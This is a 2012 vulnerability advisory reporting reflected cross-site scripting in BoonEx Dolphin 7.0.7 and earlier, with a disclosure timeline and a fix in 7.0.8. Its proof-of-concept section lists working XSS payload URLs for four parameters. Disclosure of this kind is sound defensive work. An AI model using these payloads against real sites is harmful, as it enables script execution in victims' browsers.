1. OVERVIEW Dolphin 7.0.7 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND Dolphin is the only "all-in-one" free community software platform for creating your own social networking, community or online dating site without any limits and under your full control. Dolphin comes with hundreds of features, module plugins and tools. Everything is included and extension posibilities are literally endless. You can use it for free with a BoonEx link in the footer or buy a $99 permanent license to remove that requirement. 3. VULNERABILITY DESCRIPTION Multiple parameters (explain,photos_only,online_only,mode) were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 7.0.7 and lower 5. PROOF-OF-CONCEPT/EXPLOIT Vulnerable Parameter: explain http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E Vulnerable Parameters: photos_only,online_only,mode http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script> http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script> http://localhost/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script> 6. SOLUTION Upgade to the latest version of Dolphine. 7. VENDOR BoonEx Pty Ltd http://www.boonex.com/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-06-09: notified vendor 2011-10-24: fixed version, 7.0.8, released 2012-02-20: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5BDolphin_7.0.7%5D_xss BoonEx Home Page: http://www.boonex.com/ #yehg [2012-02-20]